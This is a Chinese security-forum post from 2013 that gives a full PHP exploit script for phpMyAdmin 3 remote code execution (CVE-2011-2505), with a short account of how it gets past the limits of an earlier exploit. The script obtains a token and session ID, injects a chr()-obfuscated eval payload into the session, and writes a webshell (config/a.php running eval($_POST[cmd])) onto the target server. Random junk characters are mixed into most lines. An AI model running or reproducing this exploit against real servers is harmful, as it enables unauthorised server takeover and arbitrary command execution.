找回密码
 立即注册
查看: 2826|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。/ m4 o1 F, d% m; S0 D
; Y/ U& F9 [, A1 j  c
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。7 o: E+ V, n+ }
: W: J1 @$ }3 L9 j
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:" }7 w1 s0 [  V7 ?( r. v  Z' `
一是session.auto_start = 1;* H! D9 M9 N0 v% _' {  `. C
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
3 z: G( {1 z; Y( r当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。6 s' s; @# D9 S$ l% C" c) ~

7 _3 F+ s' T$ l) j3 s. @0 H在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
& h) y1 e2 w: ^4 Q( p0 j
( ]4 q% x4 m' h& g/ o+ y, b8 S  Z  m于是写了这个php版本的exp,代码如下:
2 u* N4 a5 D8 }5 x: t5 x8 o! g* J3 l  ]- Y0 ?4 H
#!/usr/bin/php
* N2 M) {; q. {* ]/ {8 v<?php3 x, H/ k% i1 x$ ^; l
print_r('
* v9 x$ @' o9 X" z! F4 z* B+---------------------------------------------------------------------------+
* A* H; O4 }0 E0 m* Z; d. M3 M$ Wpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
, z" k& h8 ~, P6 ?! Oby oldjun(www.oldjun.com)
. x% b1 k( E1 t; x& s7 d$ |* i. Wwelcome to www.t00ls.net
/ ]5 K# l2 v1 X4 w7 Z! d2 vmail: oldjun@gmail.com* k" ~4 B% \6 q3 _
Assigned CVE id: CVE-2011-2505# ~5 h' `  a. i& W6 z- v7 H, ~- J
+---------------------------------------------------------------------------+
) X4 R9 d8 x$ [& }+ H, h4 a2 P');( M- f3 E5 ~- [( i
+ B# v3 d" Q5 S! g( Q( P. z
/**
8 ?8 c' U& D. A& u' K" W7 o * working when the directory:"config" exists and is writeable.
& ~" q' m& k. K( Z9 e6 Z3 C**/
+ Z0 j+ C6 i: a: x3 {$ R
9 g/ a- L0 J& `5 Pif ($argc < 3) {# W! Z7 `( Q) C/ B
    print_r('; K+ g; ^; _: l/ F3 j( E
+---------------------------------------------------------------------------+
! I3 d) k3 F6 PUsage: php '.$argv[0].' host path: Q  A. Z. Q' W! `1 \7 q  h3 l
host:      target server (ip/hostname)& n; p  O. r9 y. U# A2 D' [% E
path:      path to pma3
0 U( Q* g! Z' ^5 x( uExample:. ]9 w9 i' O6 c. ]/ y5 V. G, l
php '.$argv[0].' localhost /pma/
6 @8 h: v; D: m+---------------------------------------------------------------------------+4 {; I) l3 ]( Q) _6 ?8 b1 {
');
* d( ~4 l6 b: a% f8 `3 o* p# V    exit;
* e* |+ z) G5 Z: m, \9 k}
2 Z* A2 k" H( _2 Q. {& |
; g4 d7 P! e' T2 b' M- [2 d$host = $argv[1];' p0 f6 W3 C9 `
$path = $argv[2];
4 Z5 ^8 d( D" _: s! F1 C- h3 p1 k& x  l
/**
$ {0 d6 {! ], D4 G( U% c! t * Try to determine if the directory:"config" exists
$ ]6 n- n! m8 o* q0 c; ?3 Z" L**/; A% C0 g8 p' u9 G
echo "[+] Try to determine if the directory:config exists....\n";( J. q$ [& M, Q/ _/ X) O. T4 C
$returnstr=php_request('config/');
. Q$ w) h/ y4 F* L5 \6 fif(strpos($returnstr,'404')){9 ^- U  V  A0 r, C' c
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
+ n4 q) S$ k% i3 H}
/ j& B. c8 Q! C  H% q& N; K* z% k& z/ _, Y8 W1 B- x* I8 F
/**
. _0 ], z9 b5 _0 A/ Z * Try to get token and sessionid
) l! I* Z& h  ^9 @6 R**/
* k0 w: ]2 F8 E2 R- oecho "[+] Try to get token and sessionid....\n";
0 a/ a9 c" o- ]% y* {$result=php_request('index.php');
* o3 B: ]! s9 U0 u' N9 }2 @/ kpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
6 _, P! b, x) P5 p0 F5 ~$token=$resp[3];' D6 `3 o, o2 m- y, c: b/ I
$sessionid=$resp[1];7 _5 H, _% L. K0 b8 o9 a* P
if($token && $sessionid){
7 K) I8 b4 I1 n+ W) J    echo "[+] tokentoken\n";5 W: r$ U! B+ n" ?) r+ v6 n
    echo "[+] Session IDsessionid\n";
* _0 [# @* j1 r% X+ k}else{- I% L" L: R/ l9 S5 F/ p% u4 }
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");7 K7 I3 `% \/ [3 ~3 ?3 _
}
! D5 x& c: t8 i. k, u3 {
8 x' X9 S. C: c/ q7 R$ M; M2 V/**
2 A6 z( }( L6 _3 P& R0 }6 ^# J, m * Try to insert shell into session
- \9 b* N) {! s3 x* X' t7 Y**/8 o+ P5 _# b5 l# ?1 I# w4 F* n. @
echo "[+] Try to insert shell into session....\n";
% J/ E" L0 Z0 M- b/ tphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
- p8 K1 |. W8 Y4 d8 b& k
+ @. I6 Y8 z: j4 U/**
8 ?7 N9 T. f! ~ * Try to create webshell
  y8 k+ c+ Q; A**/; O( r6 n: J% {- g) |# V+ `; h
echo "[+] Try to create webshell....\n";
8 }! T4 D1 [% [6 ^php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
+ P! W* E2 E( M8 {% }/**% z6 y( c$ n: m. Y
* Try to check if the webshell was created successfully' Q' {7 n8 B, ~1 `
**/* o2 o3 E0 L! T" a7 G% h# J6 t
echo "[+] Try to check if the webshell was created successfully....\n";
1 K( g7 [: S" m; E$content=php_request('config/config.inc.php');; i$ ?. ]' h( C  ~3 w: n- t
if(strpos($content,'t00ls')){
. z) ^2 J* _0 \8 [# \6 ~  U    echo "[+] Congratulations! Expoilt successfully....\n";( _9 m, d( d! M- p: X
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";8 Z- E8 W1 {1 H7 t5 H7 e3 u
}else{
, n2 L' x0 ~* W+ o5 I    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");1 A+ e( G+ e- }: v9 y' J. ^
}+ _2 g% a! s) b! F6 o+ s7 H( s$ O4 i
+ F+ i/ v4 g" y" l3 V
function php_request($url,$data='',$cookie=''){
  O$ y1 h7 I: ~$ S( V    global  $host, $path;- c* B+ F0 d& m0 X2 W) d8 D6 b
    . h( d+ `, d; R4 s" r# a
    $method=$data?'POST':'GET';3 U7 {( D2 F6 B& X2 D9 G
   
$ ?3 J# |  _( @: D; R4 I    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
: e' J+ L& X$ B' o) o+ q* q    $packet .= "Accept: */*\r\n";
% `  z' ]( T4 [8 R) s: b2 N# N    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
1 R7 p4 |3 c. Z0 `2 c6 f% P$ r    $packet .= "Host: $host\r\n";) ^: a& g" S% q& ^  g2 p
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";  K7 s( B: Y3 `0 T: x0 h+ T' ?# w
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
$ K" B; `4 X5 E' o2 X, T! ^    $packet .= $cookie?"Cookie: $cookie\r\n":"";
7 y; q% U( y4 X$ s7 F- F& N3 A8 H    $packet .= "Connection: Close\r\n\r\n";
8 z+ Q$ Q& n; A7 E    $packet .= $data?$data:"";
0 y! e6 ~0 E" ?2 j4 X
! K5 C# g% S3 q' J2 q+ j- _. |    $fp = fsockopen(gethostbyname($host), 80);7 a9 L, V* h4 V* \
    if (!$fp) {
) X! h- b) A7 j. g3 e" X+ n    echo 'No response from '.$host; die;
: z+ {# Z6 Y  s    }, R( m: B' _: P9 _0 Y
    fputs($fp, $packet);% w9 Q$ c2 s+ ~0 b; K# x6 w+ J, i( U

& ?7 ~+ F8 P: e' k5 G) d" L# W    $resp = '';
) [0 }, W- u/ |
' n4 d8 [( A; s  i3 r2 p    while ($fp && !feof($fp))/ v! C# m% t& n9 \4 Q: g3 R
        $resp .= fread($fp, 1024);* I7 O5 x  \1 ]8 ?) V: l

4 I- X4 f  s4 A  Z7 p* A- T" I    return $resp;' n6 W' f9 m' y- C# h/ D
}8 n& b0 S# H/ z7 N/ d
    ( x4 P! {1 \6 D7 ?
?> 0 O; p0 ]& {- x# U% Z/ ^) W1 `* i
.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表